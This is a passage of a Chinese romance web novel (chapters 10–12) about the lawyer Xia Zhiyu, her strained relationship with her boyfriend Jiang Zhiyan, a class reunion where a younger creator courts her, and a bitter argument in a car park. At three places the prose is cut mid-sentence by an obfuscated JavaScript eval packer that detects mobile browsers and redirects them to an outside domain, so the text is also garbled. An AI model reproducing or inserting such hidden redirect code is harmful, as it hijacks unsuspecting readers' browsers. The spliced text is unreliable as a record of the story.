“我昨晚在他身上闻到了刘妙琪身上的香水味,就是那个最近在跟他传联姻绯闻的女孩身上。” “我之前是信他的,我觉得知砚那种会出轨的人,但现在我忽然不确定了。” “我已经快一年多没跟他好好说过一次话了,或许他在我不在的时间里变了,或许我已经不信任我们的关系了。” “我感觉我其实从来都没有了解过他,我爱的只是我以为的江知砚。” 方新乐没办法否认这句话。 她的阶层和江知砚相差无几,她认识的富家子弟里玩的花的数不胜数。 那些纨绔子弟就不说了,他们至少表面上就没打算当好人,坏也是明着坏。 可怕的就是江知砚这种不允许有污点的家族精英。 他们是家族培养下最杰出的子弟,他们的婚姻和生活必然会被家族延伸的触角管控。 在读书的时候谈个恋爱不算什么,但这种精英教育下的胜利者怎么可能会为了爱情牺牲婚姻。 最大的可能性就是结婚后把象征着爱情的情人圈养在自己的保护范围之内。 他们的婚姻是家族之间互相协助发展的保护符。 公司股价会因联姻对象出身优越而变得稳定,董事会的信赖度会变高,就连风投机构的投资都会变得大胆。 方新乐很少见到不用自己婚姻换取利益的富家子弟,即便有那么零星两个人,也不会是像江知砚这种被寄予厚望的继承人。 更何况江知砚为了继承家业付出了那么多,怎么可能会为了爱情舍弃有家族支撑的事业。 再加上夏稚鱼昨天跟她说的那些话,一向自诩自己看人很准的方新乐都开始怀疑她对江知砚的认知是不是出现偏差。 “鱼鱼”,方新乐声音严肃,“我觉得不管怎么样,你要随时做好最坏的打算,你要给自己留好退路。” “其实现在最大的问题不是江知砚会怎么样,而是你自己的人生和江知砚深度绑定了,事业、生活,你完全顺应了他的需求,这才是最可怕的。” “还有你的身体问题,鱼鱼你别忘了,梁医生当时是怎么建议你的。” “你胃病和乳腺结节百分之八十都是工作引起的,律师这份工作它根本就不适合你的,你会有更好的选择,前提是你得从江知砚这里重新找回自己。” 车窗缓缓落下,热风扑面而来,烘的夏稚鱼眼角发烫,她看着窗外疾驰而过的汽车和高低错落的高楼,感觉自己像是在游戏里捏着鼠标切换视角。 明明这一切就在眼前,她却有一种极强烈的不真实感。 “我读了法律硕士,又好不容易熬过了一年实习期,我才刚刚执业。” 风呼呼刮进车窗,夏稚鱼的声音被吹到七零八落,很轻的飘进方新乐耳边, “我不甘心。” “我明明付出了那么多,为什么得不到我想要的东西。” 北城的夏天很长,从五月到九十月都热的惊人,不算是个宜居城市,但每年涌入的人口不计其数。 夏稚鱼上次还听到同事抱怨说自己好不容易社保交够年限了,从打算生孩子开始摇车牌号,现在孩子会爬了,车牌号还没摇到。 几辆地盘极低的豪车从她眼前一溜烟驶过,喷出的车尾气都带着人民币的芬芳。 恍惚之间,夏稚鱼觉得自己像是这场北城游戏里的npc之一。 江知砚这种当之无愧的主角肆意在城市里享受着他们的人生,而他们这种负责打酱油的npc终将一批一批下线。 她不是北城的主角,也不会是江知砚人生中的主角。 夏稚鱼合上车窗,钢铁丛林被茶色玻璃隔离在外。 她紧紧攥着手里的矿泉水瓶,声音破碎在空调冷气里, “在北城活着好累,像是抓了把沙子,越用力去攥紧,越是什么都留不住。” “甚至我手心里攥着的都不是我想要的沙子。” 挣扎到现在,夏稚鱼终于不得不承认自己的平凡。 吊着的一口心气忽然松了。 像是被扎破的皮球,气泄出来后橡胶皮囊晃晃悠悠的坠在了地上。 蓝天白云自此遥不可及。 在北城这种地方,普通人即便是拼劲全力,可能也无法保证自己有尊严的活着。 清醒时的每一次喘息都显得异常艰难。 - “新乐、稚鱼,这里!” 大学时期的班长宋冉站在酒店门口朝她俩举起手, “就差你俩了,快点快点,马上就到约好的合照时间了。” 他们这次定的是个草坪酒店,是自助餐的形式,同学里有人跟这家酒店老板关系不错,用了个比较低的价格就定到了小厅。 红砖白墙的小庄园前是精心打理过的草坪上零零散散站着不少人,个个打扮精致, 服务员穿梭在人群中,忙忙碌碌的准备餐食,空气中弥漫着浅浅酒香。 去年的同学聚会夏稚鱼在出差,没赶上。 有的人还能一眼认出来,有的还得仔细分辨才能认出来。上了几年班之后,大家多多少少都有了些变化。 别的不说,至少班长宋冉就胖了不少,他拍着自己肚子哀叹自己是过劳肥。 另外几个眼熟的同学也围了上了,打工人围在一起永恒的话题就是抱怨工作和老板,这么寒暄几句后明显亲近多了。 被欺压的无产阶级永远都是最坚实的盟友。 “今天怎么这么多人,是除了咱们班之外还有别的班吗?” 夏稚鱼有些意外的打量着会场。 “你又屏蔽了群消息是吧”,宋冉笑着解释道:“通知完聚会时间后,琼文提议这次让大家有家属的都带上认识认识。” “难怪这么多人呢,不过我记得琼文不是还没——” “是啊,所以我带过来的是我弟弟。” 一个清爽的女声在她俩身后响起,打断了方新乐还没说完的话。 夏稚鱼闻声回头。 香奈儿小黑裙,金棕色大波浪,细跟恨天高蹬蹬作响,扑面而来的是馥郁花果香。 高琼文自来熟的挽住方新乐手臂,巧笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270495|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倩兮, “我差点都以为你俩今天不来了。” 她身后跟着个高大男生,白体恤牛仔裤,学生气浓重,短发蓬松柔软,眼睛又圆又大,眼尾垂下。 很可爱的狗狗眼,看着还有点眼熟。 自从大学毕业后她就很少接触过这么清爽的男孩子了,夏稚鱼不自觉多瞧了他几眼。 高琼文笑着介绍道: “这是我表弟边霖,还在上学,现在在做自媒体,我记得稚鱼大学的时候自媒体做的蛮好的,所以我今天特意把他带过来了,让他来跟稚鱼取取经。” “自媒体!”夏稚鱼脑海里猛地闪过一个身影,她有些惊讶的打量着边霖,一个名字脱口而出,“你是‘闻风是小猪’呀,我看了你好多视频诶。” “对”,边霖耳朵尖眨眼的功夫就全红了,看起来有些难为情,但看向夏稚鱼的眼神却亮晶晶的。 任谁在公众场合被叫出网名的那一瞬间都会有些尴尬。 尤其还是个一米八多的大男孩。 夏稚鱼后知后觉的意识到这一点。 感觉自己嘎巴一下又死掉了.jpg 她怎么说话又不过脑子啊! 尴尬的热气涌上脸颊,夏稚鱼不好意思的笑了笑。 边霖还是没放过夏稚鱼,“既然喜欢看我的视频,那小鱼姐怎么不关注我?” 他略微低头,笑容里带着几分促狭, “害得我每次都要特意去关注列表里点开小鱼姐的私信夸你的视频。” “每次我都用心的写一长串,写完才想起来小鱼姐置顶里面说不看私信。” “但写都写了,总不能烂在word里面吧。” “我很想让小鱼姐知道我的心意。” 一语双关,夹带私货。 少年目光灼灼,笑容干净青涩,掩不住的意气风发。 夏稚鱼呼吸滞了一瞬。 这种感觉很奇妙,像是看到了曾经的自己。 她当时也是这么跟江知砚表白的。 莽撞到恨不得昭告天下,爱意无法克制,只能任由它倾斜而出。 五月的川西,山风萧瑟,江知砚身上的冲锋衣猎猎作响。 夏稚鱼快走两步,拽住他衣角,风吹的她喉间发干,声音像绷紧的琴弦。 江知砚被拽着回了头,夏稚鱼怀疑自己是不是得了失心疯,要不然怎么会从江知砚眼里看到了带着某种暗示意味的鼓励之色。 她咽了咽口水,紧张到头昏脑涨,原本只是想提醒他风太大,别走枯树下,容易被砸,话到嘴边却成了, “江知砚。” “我喜欢你。” 这是她第三次跟江知砚表白。 山风忽而寂静下来,群山颔首。 夏稚鱼听到自己心脏跳动的越发剧烈,泵入肺部的氧气却越来越少,呼吸变得困难, “见到你的第一眼,我就喜欢上你了。” 剖开自己的心意赤裸裸呈现在对方眼里,丝毫不在乎所谓‘先表白的人就输了’,少年人的心思很简单。 只是想让她知道而已。 只是想让他知道而已。 知道我喜欢上了他。 回忆里自己紧张的样子和边霖重合,推脱的话在嘴边滚了一圈,终究没说出口。 夏稚鱼摸出手机,像是投降似的,“师父别念了,我之前没关注是因为总是用小号刷你的视频,我现在就用大号关注你,今晚回去逐条拜读师父的私信。” 闻风是小猪头像后面出现了“互相关注”四个字。 夏稚鱼脸上笑容不变,假装自己没看到边霖的关注列表里只有自己一个人这件事。 小孩嘛,总是三分钟热度,上头的快下头的也快。 江知砚当初就是这么觉得她的。 10. 第 10 章 第10章 “你俩认识?” 高琼文兴高采烈地拍了下手,“我刚还发愁怎么让你俩熟起来呢,既然认识那就好办了。” 边霖弯了弯眼,看起来心情颇好,“小鱼老师视频的特别有意思,就是更的太少了,不够看。” 高琼文打趣夏稚鱼,“你看,你还说你自媒体做的一般,边霖这都来当面催更了。” 方新乐笑吟吟的调侃夏稚鱼,“我看不止是催更吧。” 边霖这下不止耳朵红,T恤领口往上露出来的肌肤全红了,他找借口说是去拿酒,临走之前还不忘单独问了夏稚鱼爱喝什么口味。 司马昭之心路人皆知。 高琼文神神秘秘的附在夏稚鱼耳边, “喏,那小子听说咱俩是同学,为了能让我带他来这次聚会专门给我买了个不便宜的包呢。” 说完,她挤眉弄眼地瞄了眼边霖,眼神里的促狭之色清晰可见。 夏稚鱼有些无奈,“你知道我有男朋友的。” 高琼文挑了挑眉,“有男朋友怎么了,你俩都做自媒体,拍摄和分镜什么的肯定有共同语言,难不成谈个恋爱就不能有异性朋友了?” “而且在我这里将近一年没什么联系的默认就是前任了哈。” 一句话怼的夏稚鱼哑口无言。 大家多少都喝了点酒,谈笑间也更亲密了些,方新乐早早卷进了人群里社交,她是做个人金融业务的,同学也是她的目标群体。 饭桌上斜对角忽然传出一道声音,“咱学委读书的时候不是谈了个可有钱的大少爷,今天怎么没带过来?” 学委是夏稚鱼,她想了好一会才想起来这男的是谁, 这男的叫赵颂,大二追了夏稚鱼两周,送礼物爱送钥匙链和批发市场十块钱三个的布娃娃,被夏稚鱼拒绝后恼羞成怒开始针对夏稚鱼。 跟个癞蛤蟆似的,不吓人恶心人。 他上学的时候就喜欢夹枪带棒的阴阳夏稚鱼嫌贫爱富,这会话里的恶意更加清晰。 赵颂发黄的指尖夹着烟嘴,自以为很帅很松弛的靠在椅子上,噘嘴吸烟,两个鼻孔跟排气管似的呼呼往外喷, “我现在不是在江原当公关经理,前段时间正好跟你那个有钱男朋友打过交道,他还带了个学员,怪亲密的,好像叫什么……额,刘妙琪,那两人办案子一唱一和的,听说还要联姻呢。” “我当时就看着那个男的怪眼熟,看到名字后我才想起来那是咱学委对象。” 他笑眯眯的看向夏稚鱼,仿佛完全没意识到凝滞住的气氛,嘴一咧,叹息着提建议, “不过这些有钱人么,都这样,家里红旗不倒,外面彩旗飘飘,我要是敢这么干我对象得扒我一层皮,还得是咱学委,气度大,能忍。” 说完还竖了个大拇指。 饭桌上忽然静了一瞬,夏稚鱼无意识捏紧酒杯,身旁几个本来还在说话的同学快速交换了下眼神,然后默契的、安静的齐齐看向夏稚鱼。 气氛变得尴尬。 更尴尬的是夏稚鱼。 如果是大学时期的夏稚鱼,她现在就会一杯酒泼在赵颂的脸上让他清醒清醒别放屁了,他死了埋了烧成灰了江知砚都不会出轨。 但令人绝望的是,工作两年后的夏稚鱼连句反驳的话都说不出口。 酒精发酵,大脑里一片空白。 夏稚鱼像是无师自通了用茶杯预言的能力,她盯着透明玻璃杯上的酒渍,忽然预感到北城和江知砚只会无情的攫取掉她的生命力。 只要她还有一天想要掌控自己的生命,想要别人不再用桃色爱情故事羞辱她,夏稚鱼就不能留在这里。 她不甘心活在江知砚的阴霾之下,像个寄生虫似的在别人的人生里苟延残喘。 人生在世短短百年,她得活的有脊梁有尊严,就算江知砚能把天上的星星摘下来给她又怎样,爱情绝不是物质和控制欲,只要他学不会尊重她的主体性一切都是白搭。 不管是江镜也好,同事同学也罢,他们对她的蔑视就是来自于她依附于江知砚,这种感觉太痛苦了。 她不能这么活着,爸爸妈妈也不会愿意她这么屈辱的活着。 她是他们的宝贝,没道理自己不爱重自己。 心忽然定下来了。 恶意随着沉默一点点放大,赵颂神色越来越惬意,越来越满足,污名化了夏稚鱼之后倒是给他爽的不行。 夏稚鱼松开攥着酒杯的手,瞧着赵颂像个蚂蚱似的纠缠蹦跶,“江原那个案子是我从头到尾跟进的,跟公关经理也打过几次交道,我怎么没见过你。” “要不然我回去问问王力,看他是不是给我介绍几个经理的时候时把你给漏了,最近不是在走破产流程,可别少给您少算工资,回家又惹的老婆不高兴。” “毕竟你老婆每天对着你这张脸过日子也挺不容易的。” 她说话时辛辣讽刺的腔调简直跟江知砚如出一辙。 夏稚鱼冷冷盯着赵颂,漂亮的脸上自然而然带上了点蔑视,像在看垃圾。 饭桌上静的出奇。 赵颂的鼓起来的腮帮子逐渐涨红,肿胀的眼袋像青蛙似的鼓起来,烟烧到尽头燎到指尖,他痛呼一声,算是找到理由躲去卫生间了。 他一走,气氛又重新热闹起来,像是刚才那场闹剧没发生过一样。 “哇塞鱼鱼,你刚才阴阳赵颂也太帅了”,高琼文凑到她耳边,“我记得你之前吵架还泪失禁呢,现在都能这么刻薄的反击了,果然社会是个大染缸,给我单纯可爱的鱼鱼都染变色了。” 夏稚鱼笑着应付了两句,脑海中却浮现出江知砚阴阳她时候的样子。 哪里是什么社会的教训,她会变成现在这个样子,完全得益于她每一次工作出错后,江知砚就是这么对付她的。 刻薄、挑剔、言语间满是傲慢,她又不是傻子,被刺多了自然就明白该怎么伤人。 夏稚鱼抿了口酒,苦涩酒液淌下喉间 回头想想这几年,还真是乐乐那句话。 她除了越来越差的身体状况之外,居然什么都没剩下。 美好爱情变成昨日黄花。 连爸妈都没能多陪陪。 简直是一无是处。 - 大家伙聊着聊着又忍不住聊到了工作上,这两年行业不景气,降工资都是常态,可物价倒是一天比一天高,许多外形比较好的同学都从事着自媒体行业,有几个都算是小有名气了。 其中也包括夏稚鱼。 听到自己熟悉的声音从电脑里放出来时,夏稚鱼差点一口酒喷出来。 热气哄的一下袭上脸颊。 怎么参加同学聚会还带公开处刑的! “我当时就说吧,稚鱼这张脸不当网红太可惜了。” 宋冉笑的像尊弥勒佛,眼睛眯成一条缝,“我看这段时间情侣博主这个赛道很火嘛,挺多公司都在让自家博主抄cp,话题这不就来了吗?” “暧昧期、热恋期、冷淡期、吵架、分手、复合,都能出连续剧了。” “稚鱼你也试试被,你网感好,指定能火起来。” 高琼文笑着接话,“小帅哥博主这不就有现成的,稚鱼你看我们家边霖够不够帅。” 两个人一唱一和就跟商量好了似的,夏稚鱼恨不得抠个地缝钻进去。 宋冉以为她分手了也就算了,高琼文这种知情的怎么能帮腔呢! 万一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270496|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让知情的人听到了不知道会怎么想她呢。 拒绝的话还没说出口,“不好——” “夏律,好巧,你也在这聚餐呀?” 刘妙琪站在小厅门口,长发挽在肩侧,穿了条白色吊带长裙,很休闲,不像是要去工作的样子。 她挽着位美妇人,看样子应该是她母亲。 江镜也停下了脚步,看向夏稚鱼的眼神没有半分惊讶,反复她早就知道夏稚鱼会在这里一样。 俊男靓女,家境相似,的确很是相配。 夏稚鱼回头,正对上江知砚沉沉黑眸,男人的脸色也差的出奇,像是很不愿意在这里看到她一样。 她不合时宜的想到宋冉带她们进来时介绍的那句话, “这家酒店可贵了,办一场婚礼得小二百万,我和我老婆看了几次她都没舍得订。” 确实很贵,她和江知砚以前也看过这家酒店。 江知砚当时说他不喜欢草坪婚礼这种风格,他觉得求婚可以浪漫,但婚礼必须庄重。 夏稚鱼一向迁就江知砚,自然不会在这种事情上纠缠。 虽然她从小对婚礼的幻想就是茵茵草地和随风荡起的彩色气球。 身后都是她的同学朋友,有那么两三个是在学校里撞见过江知砚的,此时不约而同的悄悄看向了夏稚鱼,目光不算热烈,但窥私欲极强。 就像是所里的同事一样,明明不清楚事实,但因为她和江知砚之间的社会地位差距,他们就可以随便在她脑袋上扣上小三的标志。 多好笑啊,他们还是学法的呢,造谣的话术却比谁都熟练,反正传播量不会超过五百人,她不会自杀,怎么着都算不上情节严重。 没人在意她的感受。 终日忙忙碌碌,结果挣的那点破钱也就刚够她看个病,连精神损害赔偿费都挤不出来。 果然,无论再怎么挣扎,不适合就是不适合。 她工作了两年半,结果今年完成的需求比不过刚进律所半年的刘妙琪。 这能说明什么,说明她比刘妙琪差吗? 当然不是,江知砚和江镜他们都只是被优绩主义裹挟后固化的思维方式而已。 这只能说明她夏稚鱼不适合干这一行,她无法从律师行业中得到自豪感,对工作冷漠是自然而然的事情。 相反自媒体就截然不同了,她喜欢创作,享受写脚本和构思分镜,看到评论区和私信里一水的夸赞她简直要爽飞上天。 但夏稚鱼无法回应观众,因为她清楚这是江知砚眼里的歪门邪道。 在这段关系中,她主动将江知砚的价值观认定为标准,以便于自己可以不假思索的按照江知砚的想法做事情。 不去怀疑,不去思考,麻木的活着,以赢得江知砚和江镜的认可。 最后的结果是什么呢? 她帮助江知砚吞噬掉了她自己的独立人格,成为一株合格的菟丝子。 去他大爷的歪门邪道。 她才不认可江知砚的逻辑。 自媒体怎么了,她现在就能接到一千块的广告,以后只会更加前途无量。 怎么没见他江知砚能做到七八个视频涨粉五万。 夏稚鱼想起方新乐在车上跟她讲的话—— 鱼鱼,你得找回自己。 她默念一遍,唇角笑意弧度未变,视线坦然而平和的看向刘妙琪, “是啊,好巧,我们大学同学聚会,刘律是来挑婚礼会场的吗?听说你和江律好事将近了,恭喜啊。” 夏稚鱼脸上的笑容真情实意,灼灼如夏花,心里却在想—— 不合适的岂止是她和法律。 她和江知砚也是。 这不,有钱人终成眷属。 11. 第 11 章 第11章 “不是,普通聚餐而已。” 江知砚的声音冷淡,眉头不悦皱起,“什么叫看婚礼场地,我和刘律只是同事而已,你胡说什么呢。” 刘妙琪脸上的得体笑容不变,心情微沉,她没想到江知砚会主动打破这个流言。 明明联姻这种消息传出来对他们的合作是百利无一害的,哪怕等项目结束再澄清也好,江知砚怎么分不清孰轻孰重呢。 她确实有几分喜欢江知砚,但这不过是基于他杰出的工作能力和出众的外表。 对她来说,结婚的对象是谁不重要,联姻的目的只是为了能够更好的守住自家的财富权势,她的婚姻可以没有爱,但必须有价值。 在此基础上能找到个长相顺眼的就更好了。 江知砚显然是个优选。 可惜抛出的橄榄枝被连根折断了。 刘妙琪一哂,礼貌的跟夏稚鱼寒暄了两句。 临走前,江知砚视线若有若无扫过站在夏稚鱼身旁的边霖,在看清边霖长相时略微停滞了片刻。 但也只是片刻而已。 江知砚移开眼,目光轻轻落在夏稚鱼雪白脖颈的那颗红痣上。 周围隐约可见微红的印记,很浅,不仔细看很难看清。 他一向冷静,从来不会在夏稚鱼裸露在外的肌肤上留印子,他不愿意别人用奇怪的眼神看夏稚鱼,也不屑于这种宣誓存在感的方式。 但现在,江知砚忽然后悔昨晚没在那颗红痣旁落下吻痕。 刚五点多,室外日光明亮,照在茵茵草地上,中央空调呼呼作响,冷气微微扬起夏稚鱼阳光照耀下偏棕的长发。 江知砚沉静地看向夏稚鱼,两人视线在空中克制的交织、转瞬又交错。 夏稚鱼垂下眼,近乎自虐的在痛苦里捻起缕可笑的畅快。 原来他也是会解释的。 在她已经不需要了的时候。 这个小插曲很快被众人抛在脑后,酒店还为他们这个同学聚会提供了免费音响,几首煽情的歌过后,已经快九点了,宋冉提议大家再去酒吧或者KTV续场。 方新乐爱玩,对于这种场合一向来者不拒,高琼文也是。 “一起去嘛鱼鱼,好不容易同学聚一场,不玩个尽兴多没意思”,高琼文还不忘怂恿夏稚鱼。 “我不去。” 夏稚鱼拒绝的也很爽快。 她刚上大学的时候跟舍友去了一次酒吧,来跟她敬酒搭讪的人络绎不绝,更有甚者看她们只是几个小女生,就来轮着灌她们酒。 索性方新乐对这种事情还算是有经验,直接找了酒吧经理,经理也怕出事,专门找人把她们几个平平安安送回了学校。 自此,夏稚鱼对酒吧这种是非之地敬谢不敏。 方新乐:“那你等我叫个代驾,先把你送回去。” “唔用送我啦乐乐,我自己打个车就回去了,没多远的。” 夏稚鱼不太能喝酒,刚才两杯香槟就喝的她脸上浮起热意,语气里不自觉带上了些南方人特有的柔软,弯弯绕绕的搔过人心尖, “你要是把我送回去再去城里,别说喝酒,宋冉他们几个连口水都给你留不下。” 看她这个样子,方新乐更不放心了,她也喝得不少,使了点劲揽着夏稚鱼,非要送她回家。 两个人跟大学那会一样,摇摇晃晃着打闹,连地下车库的台阶都没注意到。 走在前面的夏稚鱼先打了个趔趄,直直往地上栽的时候酒意被吓醒,可手臂发软,直不起身体。 边霖大步上前,从身后扶住夏稚鱼肩膀, “慢点,这里有台阶。” 语气温柔,等夏稚鱼站稳后他迅速松开了手,也很有分寸感和礼貌。 夏稚鱼忽然明白为什么富婆们都喜欢大学生弟弟。 年轻、细致、热忱、对你的偏爱溢于言表。 虽然有些不合时宜,夏稚鱼却忍不住去想,江知砚在边霖这个年纪时,是不是也会将爱意昭告天下。 那些被江知砚死死瞒住的过去里,到底隐藏着些什么不能让她知道的事情。 是他对别人的盛大爱意吗? 有钱公子哥和他的白月光吗?电视剧不都是这么演的。 边霖身型高大,从后面看就像是夏稚鱼整个人顺势倒进了他怀里。 “那我送小鱼姐回去吧,我也开车了。” 夏稚鱼连忙摆手,“不用不用,我打个车很方便的,不麻烦你们。” 说着掏出手机就要叫车。 “不麻烦的”,边霖压住夏稚鱼手腕,琥珀色瞳孔像是荡着汪甜滋滋的蜜水,“是小鱼姐的话,怎么都不麻烦。” 小鱼姐…… 酒精会放大每一寸细节,夏稚鱼忽然想到,边霖称呼方新乐,叫的是方姐。 很刻意的区别对待。 这点小心思显得尤为可爱。 她当时也是,叫别人学长,对江知砚就是直呼其名。 心头不自觉泛起酸胀的麻痒感。 “我女朋友就不劳烦你送了。” 地下车库里温度偏低,冷风习习。 夏稚鱼几乎以为自己耳朵幻听了。 她循着声音传来的方向回头,江知砚拎着自己的西装披上夏稚鱼肩头,烟草气息卷着皮革和木质香调,暖烘烘的充斥着夏稚鱼鼻尖。 熟悉的味道让她一下子放松下来,酒精越发嚣张的在身体里横冲直撞。 他们今天点的香槟入口温和,后劲却不小,夏稚鱼刚出会场的时候还只是三分醉,现在已经有五六分,像是踩在了棉花上似的飘飘然。 这是她最喜欢江知砚喷的香水。 Dior的华氏温度。 因为这个香水会让她产生呆在江知砚身边也会感到温暖的错觉。 刘妙琪闻到的时候也会这么想吗? 她也会喜欢上皮革的味道吗? 这个念头被夏稚鱼迅速摒弃,即便是醉酒,她也不允许自己陷入患得患失的自我讨伐中。 这种讨伐除了把自己的心戳到稀巴烂之外毫无意义。 边霖笑容轻巧,退开半步, “原来你是小鱼姐男朋友,我还以为你旁边那个白裙子的是你女朋友,你和那个女生看起来蛮登对的。” 挑衅之色赤裸裸的显露在边霖脸上。 鲁莽的愚蠢。 江知砚冷笑一声,懒得搭理边霖。 这种自以为自己算个东西的挑衅举动在他看来蠢透了。 无聊。 原本拢在夏稚鱼肩膀上的外套被他拿了下来,江知砚打横抱起夏稚鱼,外套压住裙摆,搭在膝头。 “唔——” 夏稚鱼晕头转向的拽住江知砚胸口衬衫,冒着热气的脸颊贴上江知砚饱满胸肌。 咚——咚咚——咚咚咚 心跳声在耳边激烈响起,分不清是她的还是江知砚的。 “滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270497|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴”,车门自动开了。 江知砚动作不算轻柔的把她扔进后座。 “江知砚!” 失重感使得夏稚鱼吓了一跳,酒瞬间醒了大半。 “你有病吧,使这么大劲干嘛。” 江知砚气笑了,“我有病?我确实有病,我在这里等你两个多小时,看你跟别人亲亲热热。” “你的分寸感呢,跟酒一起咽到狗肚子了?” 天降一口大锅牢牢扣在夏稚鱼头上,气的她发晕, “你胡说什么呢,边霖是高琼文的弟弟,他只是顺手扶了我一下而已!” “顺手?”江知砚冷笑,“顺手把你抱在怀里吗?要是我不在场,你俩是不是就能顺嘴亲上——” “啪——” 江知砚偏过头,灼烫的热意在脸上蔓延。 “那你跟刘妙琪呢?” 夏稚鱼嗓音压抑地变了调,尖锐刺耳, “江知砚你真的一点都不知道律所里那些人是怎么说我的吗?” “他们叫我三姐,说我是你的小蜜,这些事情你一点都不知道吗!” 地下车库白炽灯照的夏稚鱼脸色惨白如纸,江知砚低头冷冷的注视着她,眉骨下一片深色阴影,让人看不清他神色。 夏稚鱼只听到一声冷笑,即便在这种相互指责的时候,江知砚依旧可以迅速整理好情绪,傲慢而冷静的质问她,如同在看跳梁小丑。 “所以夏稚鱼你就是因为这些荒谬流言所以跟我置气这么久,甚至还跟别的男人当我面拉拉扯扯?” “你觉得这有意思吗夏稚鱼,流言你自己不会澄清吗?如果真解释不清你为什么不来告诉我?” “你该不会觉得你自己把这一切都隐忍下去我就会愧疚到觉得自己做错了许多事情吧。” 夏稚鱼脸色一点点冻住,寒意顺着血管往心脏冻。 江知砚继续傲慢的指点江山, “明明有一万种解决问题的办法,你为什么每次都能准确的选择到最愚蠢那条路,我真是想不明白了,夏稚鱼你到底还要被裹挟多少次才能明白,你要去主动解决事情,而不是让事情来解决你。” 身后驶过一辆车,车前灯照亮两行空气里微不可见的灰尘。 夏稚鱼一听到江知砚这种爹味浓重的教训,酒劲一下子冲上头,她蹭的一下从后座上起身,毫不示弱的瞪上江知砚,目光灼灼, “所以江知砚你现在是在解决事情吗?” “你站在什么立场上解决问题。” “老板?还是我男朋友?” 她嗤笑一声,不屑之意溢于言表,后背挺的笔直,脖颈高高扬起, “你是在用职场上那一套解决问题的逻辑来快狠准的解决我对你的怨言吗?” “江知砚你上班上疯了吧,现在,这个地方这个时间,我是你女朋友,不是你下属,你脑子能不能正常点,别一天天不管在哪长嘴就是教训别人。” “我是你孙子吗?” “在律所里当爹给你当上瘾了是吧。” “还能不能谈了,不能谈咱俩现在、立刻、马上就分手。” 江知砚忽然笑了,他长得好,笑起来更是丰神俊朗,带着一股风流劲, “夏稚鱼,我是不是太纵容你了,你搞清楚我们现在是在讨论你喝完酒跟别的男人搂搂抱抱的问题,别给我一哭二闹三上吊转移话题。” “你以为我是那种女朋友一闹就手足无措的蠢货吗?” 12. 第 12 章 第12章 “哎,你俩,别在这里吵架。” “车库视野不好,有死角,容易出事。” 保安从摆渡车上探出半个身子,抬高嗓音朝着他俩大声喊。 …… 夜晚的北城残余着几分白天的暑气,路上车不算多,江知砚罕见的没开空调,只把主驾驶那边的车窗敞了大半,吹进来的风声呼啸。 夏稚鱼长发被风吹起,搔的脸颊发痒,她懒得理,随便拨弄两下就任由头发乱飞。 她还在赌气。 过了这么一会,江知砚已经冷静下来,想说些什么,但夏稚鱼明显是不想理他的样子。 热脸贴冷屁股这种事他也做不出来。 但夏稚鱼胃不好,不能生气,他今天刚去找了负责夏稚鱼身体的主治医生,对方重点强调了夏稚鱼胃病比以前严重了。 江知砚攥着方向盘的手不自觉紧了紧。 片刻后,夏稚鱼手腕忽然被捉住,掌心被不轻不重的揉了两下。 男人掌心微烫,她仍旧偏头靠着椅背,假装没看到车窗玻璃上江知砚在红绿灯间隙盯着她看了整个红灯。 直到后车带着催促意味的鸣笛声响起,江知砚才踩下油门。 夏稚鱼手腕上多了条黑色皮筋,江知砚刚套在她手上的。 他每辆常开的车上和办公室里常备着这些她的小物件,皮筋、化妆品、卫生棉条……零零碎碎塞满了中控箱。 用完了江知砚还会及时补齐。 心头像是蜻蜓落在水面上,泛开一阵浅浅的涟漪。 刚才吵架时夏稚鱼没想哭,现在眼眶反倒是有点热。 夏稚鱼望着街边张牙舞爪的深绿色树木,小拇指勾了下手腕上的皮筋,声音很轻,弹回皮肤上的力道也不重。 一点点疼伴着很多很多的委屈汇在心头,五味杂陈。 夏稚鱼抿着嘴唇,用力眨了下眼,按捺下泛起的酸涩之意。 江知砚就惯会用这种小伎俩哄她! 下唇软肉被咬的酸疼,夏稚鱼恼极了,眼眶气的更红。 可偏偏她就吃这一套! 江知砚就是心机叵测的坏狗! 长发被拢在一侧,松松扎了个侧马尾。 夏稚鱼指尖缠着一缕黑发,看起来比刚才稍微能沟通一点了,江知砚眼神软了几分,他率先打破寂静, “先喝点蜂蜜水,回家给你煮解酒汤。” 吵架时一方率先说话往往是求和的信号。 夏稚鱼偏过头,江知砚拿起置杯架上酒店包装的蜂蜜水递给了她。 夏稚鱼目光不自觉落在拿着蜂蜜水的手上。 江知砚的手很好看,十指修长,骨节分明,常年健身使得手背青筋因用力而微微暴起,一看就是养尊处优,不太干活的手。 脑海里忽然冒出昨天下午跟妈妈视频时看到的那双手。 